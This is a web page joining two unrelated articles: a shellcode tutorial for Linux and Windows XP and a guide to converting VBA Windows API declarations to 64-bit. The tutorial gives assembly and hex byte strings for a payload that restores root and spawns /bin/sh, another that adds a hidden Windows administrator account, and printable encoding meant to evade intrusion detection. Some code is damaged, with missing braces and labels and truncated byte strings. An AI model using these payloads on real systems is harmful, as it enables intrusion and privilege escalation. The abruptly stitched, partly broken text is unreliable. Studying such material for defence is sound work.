Shellcoding for Linux and Windows Tutorial

WARNING: The following text is useful as a historical and basic document on writing shellcodes.

Background Information

  • EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers on the x86 platform.
  • AH, BH, CH and DH access the upper 16-bits of the GPRs.
  • AL, BL, CL, and DL access the lower 8-bits of the GPRs.
  • ESI and EDI are used when making Linux syscalls.
  • Syscalls with 6 arguments or less are passed via the GPRs.
  • XOR EAX, EAX is a great way to zero out a register (while staying away from the nefarious NULL byte!)
  • In Windows, all function arguments are passed on the stack according to their calling convention.


Required Tools

  • gcc
  • ld
  • nasm
  • objdump


Optional Tools

  • odfhex.c — a utility created by me to extract the shellcode from «objdump -d» and turn it into escaped hex code (very useful!).
  • arwin.c — a utility created by me to find the absolute addresses of windows functions within a specified DLL.
  • shellcodetest.c — this is just a copy of the c code found  below. it is a small skeleton program to test shellcode.
  • exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm — the source code found in this document (the win32 shellcode was written with Windows XP SP1).

Linux Shellcoding

When testing shellcode, it is nice to just plop it into a program and let it run. The C program below will be used to test all of our code.


char code[] = "bytecode will go here!";
int main(int argc, char **argv)
  int (*func)();
  func = (int (*)()) code;


Making a Quick Exit

    The easiest way to begin would be to demonstrate the exit syscall due to it’s simplicity. Here is some simple asm code to call exit. Notice the al and XOR trick to ensure that no NULL bytes will get into our code.

[SECTION .text]
global _start
        xor eax, eax       ;exit is syscall 1
        mov al, 1       ;exit is syscall 1
        xor ebx,ebx     ;zero out ebx
        int 0x80

Take the following steps to compile and extract the byte code.
steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter

exiter:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       b0 01                   mov    $0x1,%al
 8048082:       31 db                   xor    %ebx,%ebx
 8048084:       cd 80                   int    $0x80

The bytes we need are b0 01 31 db cd 80.

Replace the code at the top with:
char code[] = «\xb0\x01\x31\xdb\xcd\x80»;

Now, run the program. We have a successful piece of shellcode! One can strace the program to ensure that it is calling exit.

Saying Hello

For this next piece, let’s ease our way into something useful. In this block of code one will find an example on how to load the address of a string in a piece of our code at runtime. This is important because while running shellcode in an unknown environment, the address of the string will be unknown because the program is not running in its normal address space.

[SECTION .text]

global _start


        jmp short ender


        xor eax, eax    ;clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al, 4       ;syscall write
        mov bl, 1       ;stdout is 1
        pop ecx         ;get the address of the string from the stack
        mov dl, 5       ;length of the string
        int 0x80

        xor eax, eax
        mov al, 1       ;exit the shellcode
        xor ebx,ebx
        int 0x80

        call starter	;put the address of the string on the stack
        db 'hello'


steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello

hello:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 19                   jmp    804809b 

08048082 <starter>:
 8048082:       31 c0                   xor    %eax,%eax
 8048084:       31 db                   xor    %ebx,%ebx
 8048086:       31 d2                   xor    %edx,%edx
 8048088:       31 c9                   xor    %ecx,%ecx
 804808a:       b0 04                   mov    $0x4,%al
 804808c:       b3 01                   mov    $0x1,%bl
 804808e:       59                      pop    %ecx
 804808f:       b2 05                   mov    $0x5,%dl
 8048091:       cd 80                   int    $0x80
 8048093:       31 c0                   xor    %eax,%eax
 8048095:       b0 01                   mov    $0x1,%al
 8048097:       31 db                   xor    %ebx,%ebx
 8048099:       cd 80                   int    $0x80

0804809b <ender>:
 804809b:       e8 e2 ff ff ff          call   8048082 
 80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65

Replace the code at the top with:
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\

At this point we have a fully functional piece of shellcode that outputs to stdout.
Now that dynamic string addressing has been demonstrated as well as the ability to zero
out registers, we can move on to a piece of code that gets us a shell.

Spawning a Shell

    This code combines what we have been doing so far. This code attempts to set root privileges if they are dropped and then spawns a shell. Note: system(«/bin/sh») would have been a lot simpler right? Well the only problem with that approach is the fact that system always drops privileges.

Remember when reading this code:
    execve (const char *filename, const char** argv, const char** envp);

So, the second two argument expect pointers to pointers. That’s why I load the address of the «/bin/sh» into the string memory and then pass the address of the string memory to the function. When the pointers are dereferenced the target memory will be the «/bin/sh» string.

[SECTION .text]

global _start

        xor eax, eax
        mov al, 70              ;setreuid is syscall 70
        xor ebx, ebx
        xor ecx, ecx
        int 0x80

        jmp short ender


        pop ebx                 ;get the address of the string
        xor eax, eax

        mov [ebx+7 ], al        ;put a NULL where the N is in the string
        mov [ebx+8 ], ebx       ;put the address of the string to where the
                                ;AAAA is
        mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
        mov al, 11              ;execve is syscall 11
        lea ecx, [ebx+8]        ;load the address of where the AAAA was
        lea edx, [ebx+12]       ;load the address of the NULLS
        int 0x80                ;call the kernel, WE HAVE A SHELL!

        call starter
        db '/bin/shNAAAABBBB'

steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex

shellex:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       b0 46                   mov    $0x46,%al
 8048084:       31 db                   xor    %ebx,%ebx
 8048086:       31 c9                   xor    %ecx,%ecx
 8048088:       cd 80                   int    $0x80
 804808a:       eb 16                   jmp    80480a2 

0804808c :
 804808c:       5b                      pop    %ebx
 804808d:       31 c0                   xor    %eax,%eax
 804808f:       88 43 07                mov    %al,0x7(%ebx)
 8048092:       89 5b 08                mov    %ebx,0x8(%ebx)
 8048095:       89 43 0c                mov    %eax,0xc(%ebx)
 8048098:       b0 0b                   mov    $0xb,%al
 804809a:       8d 4b 08                lea    0x8(%ebx),%ecx
 804809d:       8d 53 0c                lea    0xc(%ebx),%edx
 80480a0:       cd 80                   int    $0x80

080480a2 :
 80480a2:       e8 e5 ff ff ff          call   804808c 
 80480a7:       2f                      das
 80480a8:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480ab:       2f                      das
 80480ac:       73 68                   jae    8048116 <ender+0x74>
 80480ae:       58                      pop    %eax
 80480af:       41                      inc    %ecx
 80480b0:       41                      inc    %ecx
 80480b1:       41                      inc    %ecx
 80480b2:       41                      inc    %ecx
 80480b3:       42                      inc    %edx
 80480b4:       42                      inc    %edx
 80480b5:       42                      inc    %edx
 80480b6:       42                      inc    %edx
Replace the code at the top with:

char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
This code produces a fully functional shell when injected into an exploit
and demonstrates most of the skills needed to write successful shellcode. Be
aware though, the better one is at assembly, the more functional, robust,
and most of all evil, one's code will be.

Windows Shellcoding

Sleep is for the Weak!

    In order to write successful code, we first need to decide what functions we wish to use for this shellcode and then find their absolute addresses. For this example we just want a thread to sleep for an allotted amount of time. Let’s load up arwin (found above) and get started. Remember, the only module guaranteed to be mapped into the processes address space is kernel32.dll. So for this example, Sleep seems to be the simplest function, accepting the amount of time the thread should suspend as its only argument.

G:\> arwin kernel32.dll Sleep
arwin - win32 address resolution program - by steve hanna - v.01
Sleep is located at 0x77e61bea in kernel32.dll

[SECTION .text]

global _start

        xor eax,eax
        mov ebx, 0x77e61bea ;address of Sleep
        mov ax, 5000        ;pause for 5000ms
        push eax
        call ebx        ;Sleep(ms);

steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep
sleep:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       bb ea 1b e6 77          mov    $0x77e61bea,%ebx
 8048087:       66 b8 88 13             mov    $0x1388,%ax
 804808b:       50                      push   %eax
 804808c:       ff d3                   call   *%ebx

Replace the code at the top with:
char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";

When this code is inserted it will cause the parent thread to suspend for five seconds (note: it will then probably crash because the stack is smashed at this point :-D).


A Message to say «Hey»

    This second example is useful in the fact that it will show a shellcoder how to do several things within the bounds of windows shellcoding. Although this example does nothing more than pop up a message box and say «hey», it demonstrates absolute addressing as well as the dynamic addressing using LoadLibrary and GetProcAddress. The library functions we will be using are LoadLibraryA, GetProcAddress, MessageBoxA, and ExitProcess (note: the A after the function name specifies we will be using a normal character set, as opposed to a W which would signify a wide character set; such as unicode). Let’s load up arwin and find the addresses we need to use. We will not retrieve the address of MessageBoxA at this time, we will dynamically load that address.

G:\>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x77e7d961 in kernel32.dll

G:\>arwin kernel32.dll GetProcAddress
arwin - win32 address resolution program - by steve hanna - v.01
GetProcAddress is located at 0x77e7b332 in kernel32.dll

G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll

[SECTION .text]

global _start

	;eax holds return value
	;ebx will hold function addresses
	;ecx will hold string pointers
	;edx will hold NULL

	xor eax,eax
	xor ebx,ebx			;zero out the registers
	xor ecx,ecx
	xor edx,edx
	jmp short GetLibrary
	pop ecx				;get the library string
	mov [ecx + 10], dl		;insert NULL
	mov ebx, 0x77e7d961		;LoadLibraryA(libraryname);
	push ecx			;beginning of user32.dll
	call ebx			;eax will hold the module handle

	jmp short FunctionName

	pop ecx				;get the address of the Function string
	xor edx,edx
	mov [ecx + 11],dl		;insert NULL
	push ecx
	push eax
	mov ebx, 0x77e7b332		;GetProcAddress(hmodule,functionname);
	call ebx			;eax now holds the address of MessageBoxA
	jmp short Message
	pop ecx				;get the message string
	xor edx,edx			
	mov [ecx+3],dl			;insert the NULL

	xor edx,edx
	push edx			;MB_OK
	push ecx			;title
	push ecx			;message
	push edx			;NULL window handle
	call eax			;MessageBoxA(windowhandle,msg,title,type); Address

	xor edx,edx
	push eax			
	mov eax, 0x77e798fd 		;exitprocess(exitcode);
	call eax			;exit cleanly so we don't crash the parent program

	;the N at the end of each string signifies the location of the NULL
	;character that needs to be inserted
	call LibraryReturn
	db 'user32.dllN'
	call FunctionReturn
	db 'MessageBoxAN'
	call MessageReturn
	db 'HeyN'

[steve hanna@1337b0x]$ nasm -f elf msgbox.asm; ld -o msgbox msgbox.o; objdump -d msgbox

msgbox:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       31 db                   xor    %ebx,%ebx
 8048084:       31 c9                   xor    %ecx,%ecx
 8048086:       31 d2                   xor    %edx,%edx
 8048088:       eb 37                   jmp    80480c1 

0804808a :
 804808a:       59                      pop    %ecx
 804808b:       88 51 0a                mov    %dl,0xa(%ecx)
 804808e:       bb 61 d9 e7 77          mov    $0x77e7d961,%ebx
 8048093:       51                      push   %ecx
 8048094:       ff d3                   call   *%ebx
 8048096:       eb 39                   jmp    80480d1 

08048098 :
 8048098:       59                      pop    %ecx
 8048099:       31 d2                   xor    %edx,%edx
 804809b:       88 51 0b                mov    %dl,0xb(%ecx)
 804809e:       51                      push   %ecx
 804809f:       50                      push   %eax
 80480a0:       bb 32 b3 e7 77          mov    $0x77e7b332,%ebx
 80480a5:       ff d3                   call   *%ebx
 80480a7:       eb 39                   jmp    80480e2 

080480a9 :
 80480a9:       59                      pop    %ecx
 80480aa:       31 d2                   xor    %edx,%edx
 80480ac:       88 51 03                mov    %dl,0x3(%ecx)
 80480af:       31 d2                   xor    %edx,%edx
 80480b1:       52                      push   %edx
 80480b2:       51                      push   %ecx
 80480b3:       51                      push   %ecx
 80480b4:       52                      push   %edx
 80480b5:       ff d0                   call   *%eax

080480b7 :
 80480b7:       31 d2                   xor    %edx,%edx
 80480b9:       50                      push   %eax
 80480ba:       b8 fd 98 e7 77          mov    $0x77e798fd,%eax
 80480bf:       ff d0                   call   *%eax

080480c1 :
 80480c1:       e8 c4 ff ff ff          call   804808a 
 80480c6:       75 73                   jne    804813b <message+0x59>
 80480c8:       65                      gs
 80480c9:       72 33                   jb     80480fe <message+0x1c>
 80480cb:       32 2e                   xor    (%esi),%ch
 80480cd:       64                      fs
 80480ce:       6c                      insb   (%dx),%es:(%edi)
 80480cf:       6c                      insb   (%dx),%es:(%edi)
 80480d0:       4e                      dec    %esi

080480d1 :
 80480d1:       e8 c2 ff ff ff          call   8048098 
 80480d6:       4d                      dec    %ebp
 80480d7:       65                      gs
 80480d8:       73 73                   jae    804814d <message+0x6b>
 80480da:       61                      popa  
 80480db:       67                      addr16
 80480dc:       65                      gs
 80480dd:       42                      inc    %edx
 80480de:       6f                      outsl  %ds:(%esi),(%dx)
 80480df:       78 41                   js     8048122 <message+0x40>
 80480e1:       4e                      dec    %esi

080480e2 :
 80480e2:       e8 c2 ff ff ff          call   80480a9 
 80480e7:       48                      dec    %eax
 80480e8:       65                      gs
 80480e9:       79 4e                   jns    8048139 <message+0x57>
Replace the code at the top with:
char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\

This example, while not useful in the fact that it only pops up a message box, illustrates several important concepts when using windows shellcoding. Static addressing as used in most of the example above can be a powerful (and easy) way to whip up working shellcode within minutes. This example shows the process of ensuring that certain DLLs are loaded into a process space. Once the address of the MessageBoxA function is obtained ExitProcess is called to make sure that the program ends without crashing.


Example 3 — Adding an Administrative Account

    This third example is actually quite a bit simpler than the previous shellcode, but this code allows the exploiter to add a user to the remote system and give that user administrative privileges. This code does not require the loading of extra libraries into the process space because the only functions we will be using are WinExec and ExitProcess. Note: the idea for this code was taken from the Metasploit project mentioned above. The difference between the shellcode is that this code is quite a bit smaller than its counterpart, and it can be made even smaller by removing the ExitProcess function!

G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll

G:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e6fd35 in kernel32.dll

[Section .text]

global _start


jmp short GetCommand

    	 pop ebx            	;ebx now holds the handle to the string
   	 xor eax,eax
   	 push eax
    	 xor eax,eax        	;for some reason the registers can be very volatile, did this just in case
  	 mov [ebx + 89],al   	;insert the NULL character
  	 push ebx
  	 mov ebx,0x77e6fd35
  	 call ebx           	;call WinExec(path,showcode)

   	 xor eax,eax        	;zero the register again, clears winexec retval
   	 push eax
   	 mov ebx, 0x77e798fd
 	 call ebx           	;call ExitProcess(0);

    	;the N at the end of the db will be replaced with a null character
    	call CommandReturn
	db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN"

steve hanna@1337b0x:~$ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser

adduser:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 1b                   jmp    804809d 

08048082 :
 8048082:       5b                      pop    %ebx
 8048083:       31 c0                   xor    %eax,%eax
 8048085:       50                      push   %eax
 8048086:       31 c0                   xor    %eax,%eax
 8048088:       88 43 59                mov    %al,0x59(%ebx)
 804808b:       53                      push   %ebx
 804808c:       bb 35 fd e6 77          mov    $0x77e6fd35,%ebx
 8048091:       ff d3                   call   *%ebx
 8048093:       31 c0                   xor    %eax,%eax
 8048095:       50                      push   %eax
 8048096:       bb fd 98 e7 77          mov    $0x77e798fd,%ebx
 804809b:       ff d3                   call   *%ebx

0804809d :
 804809d:       e8 e0 ff ff ff          call   8048082 
 80480a2:       63 6d 64                arpl   %bp,0x64(%ebp)
 80480a5:       2e                      cs
 80480a6:       65                      gs
 80480a7:       78 65                   js     804810e <getcommand+0x71>
 80480a9:       20 2f                   and    %ch,(%edi)
 80480ab:       63 20                   arpl   %sp,(%eax)
 80480ad:       6e                      outsb  %ds:(%esi),(%dx)
 80480ae:       65                      gs
 80480af:       74 20                   je     80480d1 <getcommand+0x34>
 80480b1:       75 73                   jne    8048126 <getcommand+0x89>
 80480b3:       65                      gs
 80480b4:       72 20                   jb     80480d6 <getcommand+0x39>
 80480b6:       55                      push   %ebp
 80480b7:       53                      push   %ebx
 80480b8:       45                      inc    %ebp
 80480b9:       52                      push   %edx
 80480ba:       4e                      dec    %esi
 80480bb:       41                      inc    %ecx
 80480bc:       4d                      dec    %ebp
 80480bd:       45                      inc    %ebp
 80480be:       20 50 41                and    %dl,0x41(%eax)
 80480c1:       53                      push   %ebx
 80480c2:       53                      push   %ebx
 80480c3:       57                      push   %edi
 80480c4:       4f                      dec    %edi
 80480c5:       52                      push   %edx
 80480c6:       44                      inc    %esp
 80480c7:       20 2f                   and    %ch,(%edi)
 80480c9:       41                      inc    %ecx
 80480ca:       44                      inc    %esp
 80480cb:       44                      inc    %esp
 80480cc:       20 26                   and    %ah,(%esi)
 80480ce:       26 20 6e 65             and    %ch,%es:0x65(%esi)
 80480d2:       74 20                   je     80480f4 <getcommand+0x57>
 80480d4:       6c                      insb   (%dx),%es:(%edi)
 80480d5:       6f                      outsl  %ds:(%esi),(%dx)
 80480d6:       63 61 6c                arpl   %sp,0x6c(%ecx)
 80480d9:       67 72 6f                addr16 jb 804814b <getcommand+0xae>
 80480dc:       75 70                   jne    804814e <getcommand+0xb1>
 80480de:       20 41 64                and    %al,0x64(%ecx)
 80480e1:       6d                      insl   (%dx),%es:(%edi)
 80480e2:       69 6e 69 73 74 72 61    imul   $0x61727473,0x69(%esi),%ebp
 80480e9:       74 6f                   je     804815a <getcommand+0xbd>
 80480eb:       72 73                   jb     8048160 <getcommand+0xc3>
 80480ed:       20 2f                   and    %ch,(%edi)
 80480ef:       41                      inc    %ecx
 80480f0:       44                      inc    %esp
 80480f1:       44                      inc    %esp
 80480f2:       20 55 53                and    %dl,0x53(%ebp)
 80480f5:       45                      inc    %ebp
 80480f6:       52                      push   %edx
 80480f7:       4e                      dec    %esi
 80480f8:       41                      inc    %ecx
 80480f9:       4d                      dec    %ebp
 80480fa:       45                      inc    %ebp
 80480fb:       4e                      dec    %esi

Replace the code at the top with:
 char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\

When this code is executed it will add a user to the system with the specified password, then adds that user to the local Administrators group. After that code is done executing, the parent process is exited by calling ExitProcess.


Advanced Shellcoding

    This section covers some more advanced topics in shellcoding. Over time I hope to add quite a bit more content here but for the time being I am very busy. If you have any specific requests for topics in this section, please do not hesitate to email me.

Printable Shellcode

The basis for this section is the fact that many Intrustion Detection Systems detect shellcode because of the non-printable characters that are common to all binary data. The IDS observes that a packet containts some binary data (with for instance a NOP sled within this binary data) and as a result may drop the packet. In addition to this, many programs filter input unless it is alpha-numeric. The motivation behind printable alpha-numeric shellcode should be quite obvious. By increasing the size of our shellcode we can implement a method in which our entire shellcode block in in printable characters. This section will differ a bit from the others presented in this paper. This section will simply demonstrate the tactic with small examples without an all encompassing final example.

Our first discussion starts with obfuscating the ever blatant NOP sled. When an IDS sees an arbitrarily long string of NOPs (0x90) it will most likely drop the packet. To get around this we observe the decrement and increment op codes:

	OP Code        Hex       ASCII
	inc eax        0x40        @
	inc ebx        0x43        C
	inc ecx        0x41        A
	inc edx        0x42        B
	dec eax        0x48        H
	dec ebx        0x4B        K
	dec ecx        0x49        I
	dec edx        0x4A        J


It should be pretty obvious that if we insert these operations instead of a NOP sled then the code will not affect the output. This is due to the fact that whenever we use a register in our shellcode we wither move a value into it or we xor it. Incrementing or decrementing the register before our code executes will not change the desired operation.

So, the next portion of this printable shellcode section will discuss a method for making one’s entire block of shellcode alpha-numeric— by means of some major tomfoolery. We must first discuss the few opcodes that fall in the printable ascii range (0x33 through 0x7e).

	sub eax, 0xHEXINRANGE
	push eax
	pop eax
	push esp
	pop esp
	and eax, 0xHEXINRANGE

Surprisingly, we can actually do whatever we want with these instructions. I did my best to keep diagrams out of this talk, but I decided to grace the world with my wonderful ASCII art. Below you can find a diagram of the basic plan for constructing the shellcode.

	The plan works as follows:
		-make space on stack for shellcode and loader
		-execute loader code to construct shellcode
		-use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.

But now I hear you clamoring that we can’t use move nor can we subtract from esp because they don’t fall into printable characters!!! Settle down, have I got a solution for you! We will use subtract to place values into EAX, push the value to the stack, then pop it into ESP.

Now you’re wondering why I said subtract to put values into EAX, the problem is we can’t use add, and we can’t directly assign nonprintable bytes. How can we overcome this? We can use the fact that each register has only 32 bits, so if we force a wrap around, we can arbitrarily assign values to a register using only printable characters with two to three subtract instructions.

If the gears in your head aren’t cranking yet, you should probably stop reading right now.

	The log awaited ASCII diagram
	EIP(loader code) --------ALLOCATED STACK SPACE--------ESP

	---(loader code)---EIP-------STACK------ESP--(shellcode--

	----loadercode---EIP@ESP----shellcode that was builts---

So, that diagram probably warrants some explanation. Basically, we take our already written shellcode, and generate two to three subtract instructions per four bytes and do the push EAX, pop ESP trick. This basically places the constructed shellcode at the end of the stack and works towards the EIP. So we construct 4 bytes at a time for the entirety of the code and then insert a small NOP bridge (indicated by @) between the builder code and the shellcode. The NOP bridge is used to word align the end of the builder code.

Example code:

	and eax, 0x454e4f4a	;  example of how to zero out eax(unrelated)
	and eax, 0x3a313035
	push esp
	pop eax
	sub eax, 0x39393333	; construct 860 bytes of room on the stack
	sub eax, 0x72727550	
	sub eax, 0x54545421
	push eax		; save into esp
	pop esp

Oh, and I forgot to mention, the code must be inserted in reverse order and the bytes must adhere to the little endian standard.

How to convert Windows API declarations in VBA for 64-bit

Compile error message for legacy API declaration

Since Office 2010 all the Office applications including Microsoft Access and VBA are available as a 64-bit edition in addition to the classic 32-bit edition.

To clear up an occasional misconception. You do not need to install Office/Access as 64-bit application just because you got a 64-bit operating system. Windows x64 provides an excellent 32-bit subsystem that allows you to run any 32-bit application without drawbacks.

For now, 64-bit Office/Access still is rather the exception than the norm, but this is changing more and more.

Access — 32-bit vs. 64-bit

If you are just focusing on Microsoft Access there is actually no compelling reason to use the 64-bit edition instead of the 32-bit edition. Rather the opposite is true. There are several reasons not to use 64Bit Access.

  • Many ActiveX-Controls that are frequently used in Access development are still not available for 64-bit. Yes, this is still a problem in 2017, more than 10 years after the first 64Bit Windows operating system was released.
  • Drivers/Connectors for external systems like ODBC-Databases and special hardware might not be available. – Though this should rarely be an issue nowadays. Only if you need to connect to some old legacy systems this might still be a factor.
  • And finally, Access applications using the Windows API in their VBA code will require some migration work to function properly in an x64-environment.

There is only one benefit of 64-bit Access I’m aware of. When you open multiple forms at the same time that contain a large number of sub-forms, most likely on a tab control, you might run into out-of-memory-errors on 32-bit systems. The basic problem exists with 64-bit Access as well, but it takes much longer until you will see any memory related error.

Unfortunately (in this regard) Access is part of the Office Suite as is Microsoft Excel. For Excel, there actually are use cases for the 64-Bit edition. If you use Excel to calculate large data models, e.g. financial risk calculations, you will probably benefit from the additional memory available to a 64-bit application.

So, whether you as an Access developer like it or not, you might be confronted with the 64-bit edition of Microsoft Access because someone in your or your client’s organization decided they will install the whole Office Suite in 64-bit. – It is not possible to mix and match 32- and 64-bit applications from the Microsoft Office suite.

I can’t do anything about the availability of third-party-components, so in this article, I’m going to focus on the migration of Win-API calls in VBA to 64-bit compatibility.

Migrate Windows API-Calls in VBA to 64-bit

Fortunately, the Windows API was completely ported to 64-bit. You will not encounter any function, which was available on 32-bit but isn’t anymore on 64-bit. – At least I do not know of any.

However, I frequently encounter several common misconceptions about how to migrate your Windows API calls. I hope I will be able to debunk them with this text.

But first things first. The very first thing you will encounter when you try to compile an Access application with an API declaration that was written for 32-bit in VBA in 64-bit Access is an error message.

Compile error: The code in this project must be updated for use on 64-bit systems. Please review and update Declare statements and then mark them with the PtrSafe attribute.

This message is pretty clear about the problem, but you need further information to implement the solution.

With the introduction of Access 2010, Microsoft published an article on 32- and 64-Compatibility in Access. In my opinion, that article was comprehensive and pretty good, but many developers had the opinion it was insufficient.

Just recently there was a new, and in my opinion excellent, introduction to the 64-bit extensions in VBA7 published on MSDN. It actually contains all the information you need. Nevertheless, it makes sense to elaborate on how to apply it to your project.

The PtrSafe keyword

With VBA7 (Office 2010) the new PtrSafe keyword was added to the VBA language. This new keyword can (should) be used in DeclareStatements for calls to external DLL-Libraries, like the Windows API.

What does PtrSafe do? It actually does … nothing. Correct, it has no effect on how the code works at all.

The only purpose of the PtrSafe attribute is that you, as the developer, explicitly confirm to the VBA runtime environment that you checked your code to handle any pointers in the declared external function call correctly.

As the data type for pointers is different in a 64-bit environment (more on that in a moment) this actually makes sense. If you would just run your 32-bit API code in a 64-bit context, it would work; sometimes. Sometimes it would just not work. And sometimes it would overwrite and corrupt random areas of your computer’s memory and cause all sorts of random application instability and crashes. These effects would be very hard to track down to the incorrect API-Declarations.

For this understandable reason, the PtrSafe keyword is mandatory in 64-bit VBA for each external function declaration with the DeclareStatement. The PtrSafe keyword can be used in 32-bit VBA as well but is optional there for downward compatibility.

Public Declare PtrSafe Sub Sleep Lib «kernel32» (ByVal dwMilliseconds As Long)

The LongLong type

The data types Integer (16-bit Integer) and Long (32-bit Integer) are unchanged in 64-bit VBA. They are still 2 bytes and 4 bytes in size and their range of possible values is the same as it were before on 32-bit. This is not only true for VBA but for the whole Windows 64-bit platform. Generic data types retain their original size.

Now, if you want to use a true 64-bit Integer in VBA, you have to use the new LongLong data type. This data type is actually only available in 64-bit VBA, not in the 32-bit version. In context with the Windows API, you will actually use this data type only very, very rarely. There is a much better alternative.

The LongPtr data type

On 32-bit Windows, all pointers to memory addresses are 32-bit Integers. In VBA, we used to declare those pointer variables as Long. On 64-bit Windows, these pointers were changed to 64-bit Integers to address the larger memory space. So, obviously, we cannot use the unchanged Long data type anymore.

In theory, you could use the new LongLong type to declare integer pointer variables in 64-bit VBA code. In practice, you absolutely should not. There is a much better alternative.

Particularly for pointers, Microsoft introduced an all new and very clever data type. The LongPtr data type. The really clever thing about the LongPtr type is, it is a 32-bit Integer if the code runs in 32-bit VBA and it becomes a 64-bit Integer if the code runs in 64-bit VBA.

LongPtr is the perfect type for any pointer or handle in your Declare Statement. You can use this data type in both environments and it will always be appropriately sized to handle the pointer size of your environment.

Misconception: “You should change all Long variables in your Declare Statements and Type declarations to be LongPtr variables when adapting your code for 64-bit.”


As mentioned above, the size of the existing, generic 32-bit data types has not changed. If an API-Function expected a Long Integer on 32-bit it will still expect a Long Integer on 64-bit.

Only if a function parameter or return value is representing a pointer to a memory location or a handle (e.g. Window Handle (HWND) or Picture Handle), it will be a 64-bit Integer. Only these types of function parameters should be declared as LongPtr.

If you use LongPtr incorrectly for parameters that should be plain Long Integer your API calls may not work or may have unexpected side effects. Particularly if you use LongPtr incorrectly in Type declarations. This will disrupt the sequential structure of the type and the API call will raise a type mismatch exception.

Public Declare PtrSafe Function ShowWindow Lib «user32» (ByVal hWnd As LongPtr, ByVal nCmdShow As Long) As Boolean

The hWnd argument is a handle of a window, so it needs to be a LongPtr. nCmdShow is an int32, it should be declared as Long in 32-bit and in 64-bit as well.

Do not forget a very important detail. Not only your Declare Statement should be written with the LongPtr data type, your procedures calling the external API function must, in fact, use the LongPtr type as well for all variables, which are passed to such a function argument.

VBA7 vs WIN64 compiler constants

Also new with VBA7 are the two new compiler constants Win64 and VBA7VBA7 is true if your code runs in the VBA7-Environment (Access/Office 2010 and above). Win64 is true if your code actually runs in the 64-bit VBA environment. Win64 is not true if you run a 32-Bit VBA Application on a 64-bit system.

Misconception: “You should use the WIN64 compiler constants to provide two versions of your code if you want to maintain compatibility with 32-bit VBA/Access.”


For 99% of all API declarations, it is completely irrelevant if your code runs in 32-bit VBA or in 64-bit VBA.

As explained above, the PtrSafe Keyword is available in 32-bit VBA as well. And, more importantly, the LongPtr data type is too. So, you can and should write API code that runs in both environments. If you do so, you’ll probably never need to use conditional compilation to support both platforms with your code.

However, there might be another problem. If you only target Access (Office) 2010 and newer, my above statement is unconditionally correct. But if your code should run with older version of Access as well, you need to use conditional compilation indeed. But you still do not need to care about 32/64-Bit. You need to care about the Access/VBA-Version you code is running in.

You can use the VBA7 compiler constant to write code for different versions of VBA. Here is an example for that.

Private Const SW_MAXIMIZE As Long = 3 #If VBA7 Then Private Declare PtrSafe Function ShowWindow Lib «USER32» _ (ByVal hwnd As LongPtr, ByVal nCmdShow As Long) As Boolean Private Declare PtrSafe Function FindWindow Lib «USER32» Alias «FindWindowA» _ (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPtr #Else Private Declare Function ShowWindow Lib «USER32» _ (ByVal hwnd As Long, ByVal nCmdShow As Long) As Boolean Private Declare Function FindWindow Lib «USER32» Alias «FindWindowA» _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long #End If Public Sub MaximizeWindow(ByVal WindowTitle As String) #If VBA7 Then Dim hwnd As LongPtr #Else Dim hwnd As Long #End If hwnd = FindWindow(vbNullString, WindowTitle) If hwnd <> 0 Then Call ShowWindow(hwnd, SW_MAXIMIZE) End If End Sub

Now, here is a screenshot of that code in the 64-bit VBA-Editor. Notice the red highlighting of the legacy declaration. This code section is marked, but it does not produce any actual error. Due to the conditional compilation, it will never be compiled in this environment.

Syntax error higlighting in x64

When to use the WIN64 compiler constant?

There are situations where you still want to check for Win64. There are some new API functions available on the x64 platform that simply do not exist on the 32-bit platform. So, you might want to use a new API function on x64 and a different implementation on x86 (32-bit).

